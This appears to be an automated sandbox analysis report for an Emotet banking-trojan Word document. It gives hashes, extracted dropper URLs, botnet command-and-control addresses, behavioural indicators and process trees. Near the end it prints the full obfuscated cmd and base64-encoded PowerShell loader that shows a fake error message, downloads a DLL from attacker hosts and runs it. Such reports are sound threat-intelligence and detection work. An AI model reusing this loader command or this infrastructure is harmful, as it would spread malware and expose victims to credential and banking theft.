emotet | e655f6d38b4fe6444a4ff777df30d395bae250cbf5dce0f9dd9267a344c01c47

Analysis

max time kernel
151s
max time network
146s
platform
windows7_x64
resource
win7v20201028
submitted
12-02-2021 18:48

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General

Target

715082.doc
Size

159KB
MD5

439c9779f4eb98afacdc55bb14e0f1f1
SHA1

e2710777a7b7a97233b181f1080aa46cba8bcd27
SHA256

be5a6da37fac071766412acb88d25ffd84dc8423a1e9c74c5cce310e12456b10
SHA512

b59e497db0d4282940fc67194c95d9ce6ebbaf6b3666090bbc6843fd120f1d0775cf534d98b2b80e14a88a7522a1fef1b6628e8206206d03ad2b40a98cb84dc3

Score

10^/10

emotet epoch1 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://zhongsijiacheng.com/wp-content/jn5/

exe.dropper

http://artistascitizen.com/wp-content/Bx3cr6/

exe.dropper

http://ombchardin.com/archive/V/

exe.dropper

https://apsolution.work/magneti-marelli-zkkmb/toq7Eiy/

exe.dropper

https://happycheftv.com/wp-admin/z6uGcbY/

exe.dropper

https://careercoachconnection.com/tenderometer/4K/

exe.dropper

https://tacademicos.com/content/JbF68i/

Extracted

Family

emotet

Botnet

Epoch1

181.10.46.92:80

2.58.16.88:8080

206.189.232.2:8080

178.250.54.208:8080

167.71.148.58:443

202.134.4.210:7080

187.162.248.237:80

78.206.229.130:80

85.214.26.7:8080

5.196.35.138:7080

1.226.84.243:8080

110.39.162.2:443

185.183.16.47:80

152.231.89.226:80

138.97.60.141:7080

94.176.234.118:443

46.101.58.37:8080

93.146.143.191:80

70.32.84.74:8080

137.74.106.111:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 656 1004 cmd.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

7 1120 powershell.exe
9 1120 powershell.exe
11 896 rundll32.exe
12 896 rundll32.exe
15 896 rundll32.exe
16 896 rundll32.exe
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1380 rundll32.exe
1380 rundll32.exe
1380 rundll32.exe
1380 rundll32.exe
1736 rundll32.exe
1736 rundll32.exe
1736 rundll32.exe
1736 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	656	1004	cmd.exe

flow	pid	process
7	1120	powershell.exe
9	1120	powershell.exe
11	896	rundll32.exe
12	896	rundll32.exe
15	896	rundll32.exe
16	896	rundll32.exe

pid	process
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1380	rundll32.exe
1736	rundll32.exe
1736	rundll32.exe
1736	rundll32.exe
1736	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Iyhrrnymibbef\mengjxufpnzz.ojz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1872 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

1120 powershell.exe
1120 powershell.exe
896 rundll32.exe
896 rundll32.exe
896 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1120 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1872 WINWORD.EXE
1872 WINWORD.EXE

pid	process
1872	WINWORD.EXE

pid	process
1120	powershell.exe
1120	powershell.exe
896	rundll32.exe
896	rundll32.exe
896	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1120	powershell.exe

pid	process
1872	WINWORD.EXE
1872	WINWORD.EXE

Suspicious use of WriteProcessMemory 41 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exeWINWORD.EXE

description	pid	process	target process
PID 656 wrote to memory of 1184	656	cmd.exe	msg.exe
PID 656 wrote to memory of 1184	656	cmd.exe	msg.exe
PID 656 wrote to memory of 1184	656	cmd.exe	msg.exe
PID 656 wrote to memory of 1120	656	cmd.exe	powershell.exe
PID 656 wrote to memory of 1120	656	cmd.exe	powershell.exe
PID 656 wrote to memory of 1120	656	cmd.exe	powershell.exe
PID 1120 wrote to memory of 1056	1120	powershell.exe	rundll32.exe
PID 1120 wrote to memory of 1056	1120	powershell.exe	rundll32.exe
PID 1120 wrote to memory of 1056	1120	powershell.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 1380	1056	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1380 wrote to memory of 1736	1380	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1736 wrote to memory of 1472	1736	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1472 wrote to memory of 896	1472	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 1612	1872	WINWORD.EXE	splwow64.exe
PID 1872 wrote to memory of 1612	1872	WINWORD.EXE	splwow64.exe
PID 1872 wrote to memory of 1612	1872	WINWORD.EXE	splwow64.exe
PID 1872 wrote to memory of 1612	1872	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\715082.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1612

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAFYAIAAgACgAIgBPAGsAIgArACIAQQAiACkAIAAgACgAIABbAHQAeQBQAGUAXQAoACIAewA2AH0AewA0AH0AewAzAH0AewAwAH0AewA1AH0AewAxAH0AewAyAH0AIgAtAGYAJwBpACcALAAnAEkAUgBlACcALAAnAGMAVABvAHIAeQAnACwAJwBlAG0ALgAnACwAJwBzAHQAJwAsACcAbwAuAEQAJwAsACcAUwB5ACcAKQApADsAIAAgACAAIAAkAEEAWgAxAEMAIAAgAD0AIAAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADUAfQAiAC0ARgAgACcAcABvAGkATgBUAG0AQQBuACcALAAnAGUAdAAuACcALAAnAEUAbQAuAE4AJwAsACcAcwB5AFMAVAAnACwAJwBzAEUAcgBWAGkAYwBFACcALAAnAEEARwBlAFIAJwApACAAOwAgACQAWQBsAHUANwB5AG8AcwA9ACQAWQBfADgAQwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUQAyADAAVwA7ACQAUAA5ADQASgA9ACgAKAAnAFQANQAnACsAJwBfACcAKQArACcAQwAnACkAOwAgACgAIAAgAEQASQByACAAKAAnAFYAYQAnACsAJwByAEkAQQBCACcAKwAnAEwARQA6AE8AJwArACcAawBBACcAKQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIARQBgAEEAdABgAGUAZABJAHIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdwBzACcAKwAnAEEAJwApACsAKAAnAEMAcwA0ACcAKwAnAGMAMwB2ACcAKQArACgAJwBsACcAKwAnAHcAcwBBAFUAJwApACsAKAAnAHAAeQB1AG0AJwArACcAOAAnACkAKwAoACcAMAAnACsAJwB3AHMAQQAnACkAKQAuACIAcgBFAFAAYABMAGEAQwBFACIAKAAoACcAdwAnACsAJwBzAEEAJwApACwAJwBcACcAKQApACkAOwAkAFYAMQA1AFcAPQAoACcARgA1ACcAKwAnADEARwAnACkAOwAgACgAIABHAGMAaQAgACgAJwBWAGEAUgBJAGEAJwArACcAQgAnACsAJwBMAGUAOgAnACsAJwBBAHoAMQBDACcAKQAgACkALgB2AGEATABVAEUAOgA6ACIAcwBlAGMAdQBgAFIAaQBgAFQAeQBgAHAAYABSAE8AVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADEANABSAD0AKAAnAFQAJwArACgAJwA5ACcAKwAnADUARgAnACkAKQA7ACQARAA3AHMAaAA4AHgAZgAgAD0AIAAoACcASgAnACsAKAAnAF8AMwAnACsAJwBRACcAKQApADsAJABPADMANQBRAD0AKAAnAEUANQAnACsAJwA5AE8AJwApADsAJABVADEAawB0AGMANwBpAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AQwBzACcAKwAnADQAYwAzAHYAbAB7ACcAKwAnADAAfQAnACsAJwBVAHAAJwArACgAJwB5ACcAKwAnAHUAbQAnACkAKwAnADgAMAAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABEADcAcwBoADgAeABmACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABXADYAOQBZAD0AKAAoACcARwAxACcAKwAnADcAJwApACsAJwBOACcAKQA7ACQATAByADIAaABzADkANwA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEsAYQA3ADQAcAA1AGUAPQAoACcAcwAnACsAKAAnAGcAIAB5ACcAKwAnAHcAJwApACsAKAAnACAAYQAnACsAJwBoADoALwAnACsAJwAvACcAKQArACcAegAnACsAKAAnAGgAbwAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHMAaQBqAGkAJwArACcAYQBjACcAKQArACgAJwBoACcAKwAnAGUAbgBnACcAKwAnAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwAnACsAJwBvAG4AdABlAG4AJwArACcAdAAnACkAKwAoACcALwBqAG4ANQAvACEAJwArACcAcwAnACsAJwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAaAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAYQByACcAKwAnAHQAaQBzACcAKQArACgAJwB0AGEAJwArACcAcwBjACcAKQArACgAJwBpAHQAaQB6ACcAKwAnAGUAbgAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvAEIAeAAzACcAKwAnAGMAcgA2AC8AJwApACsAKAAnACEAcwBnACcAKwAnACAAJwApACsAJwB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaAA6AC8ALwBvAG0AJwArACcAYgBjAGgAYQByACcAKwAnAGQAaQBuAC4AJwApACsAKAAnAGMAbwBtAC8AYQByAGMAJwArACcAaAAnACkAKwAnAGkAJwArACgAJwB2AGUAJwArACcALwBWACcAKwAnAC8AIQAnACsAJwBzAGcAIAAnACsAJwB5AHcAIABhAGgAJwApACsAKAAnAHMAOgAvAC8AYQBwACcAKwAnAHMAbwBsACcAKwAnAHUAdAAnACsAJwBpAG8AJwArACcAbgAnACkAKwAoACcALgAnACsAJwB3AG8AcgAnACkAKwAoACcAawAnACsAJwAvAG0AYQBnAG4AZQAnACkAKwAnAHQAJwArACgAJwBpAC0AbQBhACcAKwAnAHIAJwArACcAZQBsAGwAJwApACsAKAAnAGkAJwArACcALQB6AGsAJwArACcAawAnACsAJwBtAGIALwB0AG8AcQA3AEUAaQB5ACcAKwAnAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAJwAgACcAKwAoACcAeQB3ACAAJwArACcAYQBoAHMAOgAnACsAJwAvAC8AaAAnACkAKwAnAGEAJwArACgAJwBwAHAAeQAnACsAJwBjACcAKwAnAGgAZQAnACsAJwBmAHQAdgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAHoANgAnACkAKwAoACcAdQBHAGMAJwArACcAYgAnACsAJwBZAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAaABzADoALwAnACsAJwAvAGMAYQByACcAKwAnAGUAJwApACsAJwBlAHIAJwArACcAYwAnACsAKAAnAG8AYQBjAGgAYwBvAG4AJwArACcAbgAnACkAKwAnAGUAJwArACcAYwAnACsAKAAnAHQAaQBvACcAKwAnAG4AJwArACcALgBjAG8AbQAvACcAKwAnAHQAJwArACcAZQBuAGQAZQByACcAKQArACgAJwBvACcAKwAnAG0AZQAnACkAKwAoACcAdABlAHIALwA0AEsAJwArACcALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAcwA6AC8ALwAnACkAKwAnAHQAYQAnACsAJwBjACcAKwAoACcAYQBkAGUAJwArACcAbQBpAGMAJwArACcAbwBzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYwBvACcAKwAnAG4AJwApACsAKAAnAHQAZQBuACcAKwAnAHQALwBKAGIARgA2ADgAJwArACcAaQAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBDAGUAIgAoACgAJwBzACcAKwAoACcAZwAgACcAKwAnAHkAJwApACsAKAAnAHcAJwArACcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEwAcgAyAGgAcwA5ADcALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBgAFAAbABJAFQAIgAoACQATwA1ADgATAAgACsAIAAkAFkAbAB1ADcAeQBvAHMAIAArACAAJABBAF8AOQBSACkAOwAkAFcAMAAwAFcAPQAoACcAWgBfACcAKwAnADYASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE4AZQBmAGMAdgBjADYAIABpAG4AIAAkAEsAYQA3ADQAcAA1AGUAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtAE8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4ATgBFAHQALgBXAEUAQgBjAEwASQBlAE4AdAApAC4AIgBEAE8AYAB3AG4AbABPAEEARABgAEYAaQBgAEwARQAiACgAJABOAGUAZgBjAHYAYwA2ACwAIAAkAFUAMQBrAHQAYwA3AGkAKQA7ACQATAAzADkAUQA9ACgAJwBIACcAKwAoACcAXwA1ACcAKwAnAEMAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVQAxAGsAdABjADcAaQApAC4AIgBMAGAAZQBOAGAARwBUAGgAIgAgAC0AZwBlACAAMwAzADUANwAxACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsACcAKwAnADMAMgAnACkAIAAkAFUAMQBrAHQAYwA3AGkALAAoACgAJwBBACcAKwAnAG4AeQAnACkAKwAoACcAUwB0AHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAHQATwBTAHQAYABSAGAAaQBOAGcAIgAoACkAOwAkAEoAOAAzAEsAPQAoACcATwAnACsAKAAnAF8AJwArACcANwBYACcAKQApADsAYgByAGUAYQBrADsAJABRADIANgBFAD0AKAAnAFIAXwAnACsAJwA0AEQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQADMANQBZAD0AKAAoACcAUAAnACsAJwAxADUAJwApACsAJwBVACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABTAFYAIAAgACgAIgBPAGsAIgArACIAQQAiACkAIAAgACgAIABbAHQAeQBQAGUAXQAoACIAewA2AH0AewA0AH0AewAzAH0AewAwAH0AewA1AH0AewAxAH0AewAyAH0AIgAtAGYAJwBpACcALAAnAEkAUgBlACcALAAnAGMAVABvAHIAeQAnACwAJwBlAG0ALgAnACwAJwBzAHQAJwAsACcAbwAuAEQAJwAsACcAUwB5ACcAKQApADsAIAAgACAAIAAkAEEAWgAxAEMAIAAgAD0AIAAgAFsAdABZAHAAZQBdACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADUAfQAiAC0ARgAgACcAcABvAGkATgBUAG0AQQBuACcALAAnAGUAdAAuACcALAAnAEUAbQAuAE4AJwAsACcAcwB5AFMAVAAnACwAJwBzAEUAcgBWAGkAYwBFACcALAAnAEEARwBlAFIAJwApACAAOwAgACQAWQBsAHUANwB5AG8AcwA9ACQAWQBfADgAQwAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUQAyADAAVwA7ACQAUAA5ADQASgA9ACgAKAAnAFQANQAnACsAJwBfACcAKQArACcAQwAnACkAOwAgACgAIAAgAEQASQByACAAKAAnAFYAYQAnACsAJwByAEkAQQBCACcAKwAnAEwARQA6AE8AJwArACcAawBBACcAKQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIARQBgAEEAdABgAGUAZABJAHIARQBjAGAAVABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdwBzACcAKwAnAEEAJwApACsAKAAnAEMAcwA0ACcAKwAnAGMAMwB2ACcAKQArACgAJwBsACcAKwAnAHcAcwBBAFUAJwApACsAKAAnAHAAeQB1AG0AJwArACcAOAAnACkAKwAoACcAMAAnACsAJwB3AHMAQQAnACkAKQAuACIAcgBFAFAAYABMAGEAQwBFACIAKAAoACcAdwAnACsAJwBzAEEAJwApACwAJwBcACcAKQApACkAOwAkAFYAMQA1AFcAPQAoACcARgA1ACcAKwAnADEARwAnACkAOwAgACgAIABHAGMAaQAgACgAJwBWAGEAUgBJAGEAJwArACcAQgAnACsAJwBMAGUAOgAnACsAJwBBAHoAMQBDACcAKQAgACkALgB2AGEATABVAEUAOgA6ACIAcwBlAGMAdQBgAFIAaQBgAFQAeQBgAHAAYABSAE8AVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADEANABSAD0AKAAnAFQAJwArACgAJwA5ACcAKwAnADUARgAnACkAKQA7ACQARAA3AHMAaAA4AHgAZgAgAD0AIAAoACcASgAnACsAKAAnAF8AMwAnACsAJwBRACcAKQApADsAJABPADMANQBRAD0AKAAnAEUANQAnACsAJwA5AE8AJwApADsAJABVADEAawB0AGMANwBpAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AQwBzACcAKwAnADQAYwAzAHYAbAB7ACcAKwAnADAAfQAnACsAJwBVAHAAJwArACgAJwB5ACcAKwAnAHUAbQAnACkAKwAnADgAMAAnACsAJwB7ACcAKwAnADAAfQAnACkAIAAgAC0ARgAgAFsAQwBoAGEAcgBdADkAMgApACsAJABEADcAcwBoADgAeABmACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABXADYAOQBZAD0AKAAoACcARwAxACcAKwAnADcAJwApACsAJwBOACcAKQA7ACQATAByADIAaABzADkANwA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAEsAYQA3ADQAcAA1AGUAPQAoACcAcwAnACsAKAAnAGcAIAB5ACcAKwAnAHcAJwApACsAKAAnACAAYQAnACsAJwBoADoALwAnACsAJwAvACcAKQArACcAegAnACsAKAAnAGgAbwAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHMAaQBqAGkAJwArACcAYQBjACcAKQArACgAJwBoACcAKwAnAGUAbgBnACcAKwAnAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwAnACsAJwBvAG4AdABlAG4AJwArACcAdAAnACkAKwAoACcALwBqAG4ANQAvACEAJwArACcAcwAnACsAJwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAaAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAYQByACcAKwAnAHQAaQBzACcAKQArACgAJwB0AGEAJwArACcAcwBjACcAKQArACgAJwBpAHQAaQB6ACcAKwAnAGUAbgAuAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACgAJwB0AGUAbgAnACsAJwB0ACcAKQArACgAJwAvAEIAeAAzACcAKwAnAGMAcgA2AC8AJwApACsAKAAnACEAcwBnACcAKwAnACAAJwApACsAJwB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaAA6AC8ALwBvAG0AJwArACcAYgBjAGgAYQByACcAKwAnAGQAaQBuAC4AJwApACsAKAAnAGMAbwBtAC8AYQByAGMAJwArACcAaAAnACkAKwAnAGkAJwArACgAJwB2AGUAJwArACcALwBWACcAKwAnAC8AIQAnACsAJwBzAGcAIAAnACsAJwB5AHcAIABhAGgAJwApACsAKAAnAHMAOgAvAC8AYQBwACcAKwAnAHMAbwBsACcAKwAnAHUAdAAnACsAJwBpAG8AJwArACcAbgAnACkAKwAoACcALgAnACsAJwB3AG8AcgAnACkAKwAoACcAawAnACsAJwAvAG0AYQBnAG4AZQAnACkAKwAnAHQAJwArACgAJwBpAC0AbQBhACcAKwAnAHIAJwArACcAZQBsAGwAJwApACsAKAAnAGkAJwArACcALQB6AGsAJwArACcAawAnACsAJwBtAGIALwB0AG8AcQA3AEUAaQB5ACcAKwAnAC8AJwApACsAJwAhACcAKwAnAHMAZwAnACsAJwAgACcAKwAoACcAeQB3ACAAJwArACcAYQBoAHMAOgAnACsAJwAvAC8AaAAnACkAKwAnAGEAJwArACgAJwBwAHAAeQAnACsAJwBjACcAKwAnAGgAZQAnACsAJwBmAHQAdgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAHoANgAnACkAKwAoACcAdQBHAGMAJwArACcAYgAnACsAJwBZAC8AIQAnACkAKwAoACcAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAaABzADoALwAnACsAJwAvAGMAYQByACcAKwAnAGUAJwApACsAJwBlAHIAJwArACcAYwAnACsAKAAnAG8AYQBjAGgAYwBvAG4AJwArACcAbgAnACkAKwAnAGUAJwArACcAYwAnACsAKAAnAHQAaQBvACcAKwAnAG4AJwArACcALgBjAG8AbQAvACcAKwAnAHQAJwArACcAZQBuAGQAZQByACcAKQArACgAJwBvACcAKwAnAG0AZQAnACkAKwAoACcAdABlAHIALwA0AEsAJwArACcALwAnACsAJwAhAHMAJwApACsAKAAnAGcAJwArACcAIAB5AHcAIABhACcAKwAnAGgAJwArACcAcwA6AC8ALwAnACkAKwAnAHQAYQAnACsAJwBjACcAKwAoACcAYQBkAGUAJwArACcAbQBpAGMAJwArACcAbwBzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYwBvACcAKwAnAG4AJwApACsAKAAnAHQAZQBuACcAKwAnAHQALwBKAGIARgA2ADgAJwArACcAaQAvACcAKQApAC4AIgBSAEUAUABMAGAAQQBDAGUAIgAoACgAJwBzACcAKwAoACcAZwAgACcAKwAnAHkAJwApACsAKAAnAHcAJwArACcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEwAcgAyAGgAcwA5ADcALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBgAFAAbABJAFQAIgAoACQATwA1ADgATAAgACsAIAAkAFkAbAB1ADcAeQBvAHMAIAArACAAJABBAF8AOQBSACkAOwAkAFcAMAAwAFcAPQAoACcAWgBfACcAKwAnADYASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE4AZQBmAGMAdgBjADYAIABpAG4AIAAkAEsAYQA3ADQAcAA1AGUAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtAE8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4ATgBFAHQALgBXAEUAQgBjAEwASQBlAE4AdAApAC4AIgBEAE8AYAB3AG4AbABPAEEARABgAEYAaQBgAEwARQAiACgAJABOAGUAZgBjAHYAYwA2ACwAIAAkAFUAMQBrAHQAYwA3AGkAKQA7ACQATAAzADkAUQA9ACgAJwBIACcAKwAoACcAXwA1ACcAKwAnAEMAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVQAxAGsAdABjADcAaQApAC4AIgBMAGAAZQBOAGAARwBUAGgAIgAgAC0AZwBlACAAMwAzADUANwAxACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsACcAKwAnADMAMgAnACkAIAAkAFUAMQBrAHQAYwA3AGkALAAoACgAJwBBACcAKwAnAG4AeQAnACkAKwAoACcAUwB0AHIAaQAnACsAJwBuACcAKQArACcAZwAnACkALgAiAHQATwBTAHQAYABSAGAAaQBOAGcAIgAoACkAOwAkAEoAOAAzAEsAPQAoACcATwAnACsAKAAnAF8AJwArACcANwBYACcAKQApADsAYgByAGUAYQBrADsAJABRADIANgBFAD0AKAAnAFIAXwAnACsAJwA0AEQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQADMANQBZAD0AKAAoACcAUAAnACsAJwAxADUAJwApACsAJwBVACcAKQA=
2⤵
